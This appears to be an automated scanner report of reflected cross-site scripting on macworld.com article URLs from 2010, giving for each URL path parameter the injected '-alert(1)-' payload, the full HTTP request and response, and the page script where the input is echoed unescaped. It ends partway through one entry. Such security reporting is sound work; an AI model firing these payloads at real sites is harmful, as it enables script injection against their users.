GET /article/156438/2010bf5c5'-alert(1)-'669113bd8f8/12/circusponies_notebook_ios.html HTTP/1.1 Host: www.macworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Last-Modified: Fri, 17 Dec 2010 02:22:58 GMT Cache-Control: max-age=60 Content-Type: text/html;charset=UTF-8 Date: Fri, 17 Dec 2010 02:22:57 GMT Connection: close Cache-Control: no-store, no-cache Cache-Control: post-check=0, pre-check=0, false Pragma: cache differently Vary: Accept-Encoding
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3386d'-alert(1)-'240f909a42c was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /article/156438/2010/123386d'-alert(1)-'240f909a42c/circusponies_notebook_ios.html HTTP/1.1 Host: www.macworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Last-Modified: Fri, 17 Dec 2010 02:23:09 GMT Cache-Control: max-age=60 Content-Type: text/html;charset=UTF-8 Date: Fri, 17 Dec 2010 02:23:09 GMT Connection: close Cache-Control: no-store, no-cache Cache-Control: post-check=0, pre-check=0, false Pragma: cache differently Vary: Accept-Encoding
The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b9b2e'-alert(1)-'dfd2951e1eb was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /article/156438/2010/12/circusponies_notebook_ios.htmlb9b2e'-alert(1)-'dfd2951e1eb HTTP/1.1 Host: www.macworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Content-Type: text/html;charset=UTF-8 Date: Fri, 17 Dec 2010 02:23:21 GMT Connection: close Cache-Control: no-store, no-cache Cache-Control: post-check=0, pre-check=0, false Pragma: cache differently Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js ...[SNIP]... alid = 'null' != Logon.userEmail && '' != Logon.userEmail;
/* Namespace RememberURI */ var RememberURI = new Object(); RememberURI.referer = '/article/156438/2010/12/circusponies_notebook_ios.htmlb9b2e'-alert(1)-'dfd2951e1eb'; if (!RememberURI.referer.match('^/logo') && !RememberURI.referer.match('^/register')) { RememberURI.query = ''; RememberURI.referer += RememberURI.query; document.cookie = "mw.last_uri=" + es ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload af223'-alert(1)-'4ba0dcb12f was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /article/156448/2010af223'-alert(1)-'4ba0dcb12f/12/navigon_mobilenavigator.html HTTP/1.1 Host: www.macworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Last-Modified: Fri, 17 Dec 2010 02:22:53 GMT Cache-Control: max-age=60 Content-Type: text/html;charset=UTF-8 Date: Fri, 17 Dec 2010 02:22:53 GMT Connection: close Cache-Control: no-store, no-cache Cache-Control: post-check=0, pre-check=0, false Pragma: cache differently Vary: Accept-Encoding
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 55c26'-alert(1)-'944af8d0698 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /article/156448/2010/1255c26'-alert(1)-'944af8d0698/navigon_mobilenavigator.html HTTP/1.1 Host: www.macworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Last-Modified: Fri, 17 Dec 2010 02:23:02 GMT Cache-Control: max-age=60 Content-Type: text/html;charset=UTF-8 Date: Fri, 17 Dec 2010 02:23:01 GMT Connection: close Cache-Control: no-store, no-cache Cache-Control: post-check=0, pre-check=0, false Pragma: cache differently Vary: Accept-Encoding
The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d7ace'-alert(1)-'618a3a79576 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /article/156448/2010/12/navigon_mobilenavigator.htmld7ace'-alert(1)-'618a3a79576 HTTP/1.1 Host: www.macworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Content-Type: text/html;charset=UTF-8 Date: Fri, 17 Dec 2010 02:23:12 GMT Connection: close Cache-Control: no-store, no-cache Cache-Control: post-check=0, pre-check=0, false Pragma: cache differently Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js ...[SNIP]... sValid = 'null' != Logon.userEmail && '' != Logon.userEmail;
/* Namespace RememberURI */ var RememberURI = new Object(); RememberURI.referer = '/article/156448/2010/12/navigon_mobilenavigator.htmld7ace'-alert(1)-'618a3a79576'; if (!RememberURI.referer.match('^/logo') && !RememberURI.referer.match('^/register')) { RememberURI.query = ''; RememberURI.referer += RememberURI.query; document.cookie = "mw.last_uri=" + es ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5b5f3'-alert(1)-'64d5028f644 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /article/156454/20105b5f3'-alert(1)-'64d5028f644/12/airfoil4.html HTTP/1.1 Host: www.macworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Last-Modified: Fri, 17 Dec 2010 02:23:01 GMT Cache-Control: max-age=60 Content-Type: text/html;charset=UTF-8 Date: Fri, 17 Dec 2010 02:23:01 GMT Connection: close Cache-Control: no-store, no-cache Cache-Control: post-check=0, pre-check=0, false Pragma: cache differently Vary: Accept-Encoding
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload da50b'-alert(1)-'dea13d495ce was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /article/156454/2010/12da50b'-alert(1)-'dea13d495ce/airfoil4.html HTTP/1.1 Host: www.macworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Last-Modified: Fri, 17 Dec 2010 02:23:12 GMT Cache-Control: max-age=60 Content-Type: text/html;charset=UTF-8 Date: Fri, 17 Dec 2010 02:23:12 GMT Connection: close Cache-Control: no-store, no-cache Cache-Control: post-check=0, pre-check=0, false Pragma: cache differently Vary: Accept-Encoding
The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload eb538'-alert(1)-'52aa27a485d was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /article/156454/2010/12/airfoil4.htmleb538'-alert(1)-'52aa27a485d HTTP/1.1 Host: www.macworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Content-Type: text/html;charset=UTF-8 Date: Fri, 17 Dec 2010 02:23:22 GMT Connection: close Cache-Control: no-store, no-cache Cache-Control: post-check=0, pre-check=0, false Pragma: cache differently Vary: Accept-Encoding
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 450f8'-alert(1)-'19a2ca62a56 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /article/156456/2010450f8'-alert(1)-'19a2ca62a56/12/flipboard_adds_googlereader_array_of_new_features.html HTTP/1.1 Host: www.macworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Last-Modified: Fri, 17 Dec 2010 02:22:51 GMT Cache-Control: max-age=60 Content-Type: text/html;charset=UTF-8 Date: Fri, 17 Dec 2010 02:22:51 GMT Connection: close Cache-Control: no-store, no-cache Cache-Control: post-check=0, pre-check=0, false Pragma: cache differently Vary: Accept-Encoding
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 70cf8'-alert(1)-'45dd152401a was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /article/156456/2010/1270cf8'-alert(1)-'45dd152401a/flipboard_adds_googlereader_array_of_new_features.html HTTP/1.1 Host: www.macworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Last-Modified: Fri, 17 Dec 2010 02:23:02 GMT Cache-Control: max-age=60 Content-Type: text/html;charset=UTF-8 Date: Fri, 17 Dec 2010 02:23:01 GMT Connection: close Cache-Control: no-store, no-cache Cache-Control: post-check=0, pre-check=0, false Pragma: cache differently Vary: Accept-Encoding
The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f295d'-alert(1)-'01e31b6de1d was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /article/156456/2010/12/flipboard_adds_googlereader_array_of_new_features.htmlf295d'-alert(1)-'01e31b6de1d HTTP/1.1 Host: www.macworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Content-Type: text/html;charset=UTF-8 Date: Fri, 17 Dec 2010 02:23:12 GMT Connection: close Cache-Control: no-store, no-cache Cache-Control: post-check=0, pre-check=0, false Pragma: cache differently Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js ...[SNIP]... serEmail && '' != Logon.userEmail;
/* Namespace RememberURI */ var RememberURI = new Object(); RememberURI.referer = '/article/156456/2010/12/flipboard_adds_googlereader_array_of_new_features.htmlf295d'-alert(1)-'01e31b6de1d'; if (!RememberURI.referer.match('^/logo') && !RememberURI.referer.match('^/register')) { RememberURI.query = ''; RememberURI.referer += RememberURI.query; document.cookie = "mw.last_uri=" + es ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6cbdd'-alert(1)-'fd2f5793e8e was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /article/156457/20106cbdd'-alert(1)-'fd2f5793e8e/12/cptn_holdings.html HTTP/1.1 Host: www.macworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Last-Modified: Fri, 17 Dec 2010 02:22:52 GMT Cache-Control: max-age=60 Content-Type: text/html;charset=UTF-8 Date: Fri, 17 Dec 2010 02:22:52 GMT Connection: close Cache-Control: no-store, no-cache Cache-Control: post-check=0, pre-check=0, false Pragma: cache differently Vary: Accept-Encoding
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3bbcb'-alert(1)-'645a75bc30e was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /article/156457/2010/123bbcb'-alert(1)-'645a75bc30e/cptn_holdings.html HTTP/1.1 Host: www.macworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Last-Modified: Fri, 17 Dec 2010 02:23:00 GMT Cache-Control: max-age=60 Content-Type: text/html;charset=UTF-8 Date: Fri, 17 Dec 2010 02:23:00 GMT Connection: close Cache-Control: no-store, no-cache Cache-Control: post-check=0, pre-check=0, false Pragma: cache differently Vary: Accept-Encoding
The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 7cd04'-alert(1)-'ea6ce8d6169 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /article/156457/2010/12/cptn_holdings.html7cd04'-alert(1)-'ea6ce8d6169 HTTP/1.1 Host: www.macworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Content-Type: text/html;charset=UTF-8 Date: Fri, 17 Dec 2010 02:23:11 GMT Connection: close Cache-Control: no-store, no-cache Cache-Control: post-check=0, pre-check=0, false Pragma: cache differently Vary: Accept-Encoding
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f3b9d'-alert(1)-'b22fb28111 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /article/156459/2010f3b9d'-alert(1)-'b22fb28111/12/facebook_photo_tagging.html HTTP/1.1 Host: www.macworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Last-Modified: Fri, 17 Dec 2010 02:23:00 GMT Cache-Control: max-age=60 Content-Type: text/html;charset=UTF-8 Date: Fri, 17 Dec 2010 02:22:59 GMT Connection: close Cache-Control: no-store, no-cache Cache-Control: post-check=0, pre-check=0, false Pragma: cache differently Vary: Accept-Encoding
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9097b'-alert(1)-'7c2c92419dc was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /article/156459/2010/129097b'-alert(1)-'7c2c92419dc/facebook_photo_tagging.html HTTP/1.1 Host: www.macworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Last-Modified: Fri, 17 Dec 2010 02:23:11 GMT Cache-Control: max-age=60 Content-Type: text/html;charset=UTF-8 Date: Fri, 17 Dec 2010 02:23:11 GMT Connection: close Cache-Control: no-store, no-cache Cache-Control: post-check=0, pre-check=0, false Pragma: cache differently Vary: Accept-Encoding
The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6e3a8'-alert(1)-'5d4e7e648f5 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /article/156459/2010/12/facebook_photo_tagging.html6e3a8'-alert(1)-'5d4e7e648f5 HTTP/1.1 Host: www.macworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Content-Type: text/html;charset=UTF-8 Date: Fri, 17 Dec 2010 02:23:21 GMT Connection: close Cache-Control: no-store, no-cache Cache-Control: post-check=0, pre-check=0, false Pragma: cache differently Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js ...[SNIP]... isValid = 'null' != Logon.userEmail && '' != Logon.userEmail;
/* Namespace RememberURI */ var RememberURI = new Object(); RememberURI.referer = '/article/156459/2010/12/facebook_photo_tagging.html6e3a8'-alert(1)-'5d4e7e648f5'; if (!RememberURI.referer.match('^/logo') && !RememberURI.referer.match('^/register')) { RememberURI.query = ''; RememberURI.referer += RememberURI.query; document.cookie = "mw.last_uri=" + es ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d6b6a'-alert(1)-'bc77c7cfb63 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /article/156460/2010d6b6a'-alert(1)-'bc77c7cfb63/12/openfeint_groupon.html HTTP/1.1 Host: www.macworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Last-Modified: Fri, 17 Dec 2010 02:22:43 GMT Cache-Control: max-age=60 Content-Type: text/html;charset=UTF-8 Date: Fri, 17 Dec 2010 02:22:43 GMT Connection: close Cache-Control: no-store, no-cache Cache-Control: post-check=0, pre-check=0, false Pragma: cache differently Vary: Accept-Encoding
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 7b857'-alert(1)-'6913ec86d4d was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /article/156460/2010/127b857'-alert(1)-'6913ec86d4d/openfeint_groupon.html HTTP/1.1 Host: www.macworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Last-Modified: Fri, 17 Dec 2010 02:22:54 GMT Cache-Control: max-age=60 Content-Type: text/html;charset=UTF-8 Date: Fri, 17 Dec 2010 02:22:54 GMT Connection: close Cache-Control: no-store, no-cache Cache-Control: post-check=0, pre-check=0, false Pragma: cache differently Vary: Accept-Encoding
The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9d42c'-alert(1)-'9999645f143 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /article/156460/2010/12/openfeint_groupon.html9d42c'-alert(1)-'9999645f143 HTTP/1.1 Host: www.macworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Content-Type: text/html;charset=UTF-8 Date: Fri, 17 Dec 2010 02:23:02 GMT Connection: close Cache-Control: no-store, no-cache Cache-Control: post-check=0, pre-check=0, false Pragma: cache differently Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js ...[SNIP]... ogon.isValid = 'null' != Logon.userEmail && '' != Logon.userEmail;
/* Namespace RememberURI */ var RememberURI = new Object(); RememberURI.referer = '/article/156460/2010/12/openfeint_groupon.html9d42c'-alert(1)-'9999645f143'; if (!RememberURI.referer.match('^/logo') && !RememberURI.referer.match('^/register')) { RememberURI.query = ''; RememberURI.referer += RememberURI.query; document.cookie = "mw.last_uri=" + es ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 271d7'-alert(1)-'8cd698730a8 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /article/156462/2010271d7'-alert(1)-'8cd698730a8/12/vimeovideoschool.html HTTP/1.1 Host: www.macworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Last-Modified: Fri, 17 Dec 2010 02:22:59 GMT Cache-Control: max-age=60 Content-Type: text/html;charset=UTF-8 Date: Fri, 17 Dec 2010 02:22:58 GMT Connection: close Cache-Control: no-store, no-cache Cache-Control: post-check=0, pre-check=0, false Pragma: cache differently Vary: Accept-Encoding
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f52d8'-alert(1)-'aaab881666b was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /article/156462/2010/12f52d8'-alert(1)-'aaab881666b/vimeovideoschool.html HTTP/1.1 Host: www.macworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Last-Modified: Fri, 17 Dec 2010 02:23:10 GMT Cache-Control: max-age=60 Content-Type: text/html;charset=UTF-8 Date: Fri, 17 Dec 2010 02:23:10 GMT Connection: close Cache-Control: no-store, no-cache Cache-Control: post-check=0, pre-check=0, false Pragma: cache differently Vary: Accept-Encoding
The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ca434'-alert(1)-'eb317d02b34 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /article/156462/2010/12/vimeovideoschool.htmlca434'-alert(1)-'eb317d02b34 HTTP/1.1 Host: www.macworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Content-Type: text/html;charset=UTF-8 Date: Fri, 17 Dec 2010 02:23:21 GMT Connection: close Cache-Control: no-store, no-cache Cache-Control: post-check=0, pre-check=0, false Pragma: cache differently Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- Tile/JSP: templates._005fshared.layout._default.html_head.js ...[SNIP]... Logon.isValid = 'null' != Logon.userEmail && '' != Logon.userEmail;
/* Namespace RememberURI */ var RememberURI = new Object(); RememberURI.referer = '/article/156462/2010/12/vimeovideoschool.htmlca434'-alert(1)-'eb317d02b34'; if (!RememberURI.referer.match('^/logo') && !RememberURI.referer.match('^/register')) { RememberURI.query = ''; RememberURI.referer += RememberURI.query; document.cookie = "mw.last_uri=" + es ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d6f89'-alert(1)-'bc4d0bc8c8f was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /article/156465/2010d6f89'-alert(1)-'bc4d0bc8c8f/12/color_blindness_iphone.html HTTP/1.1 Host: www.macworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;
Response
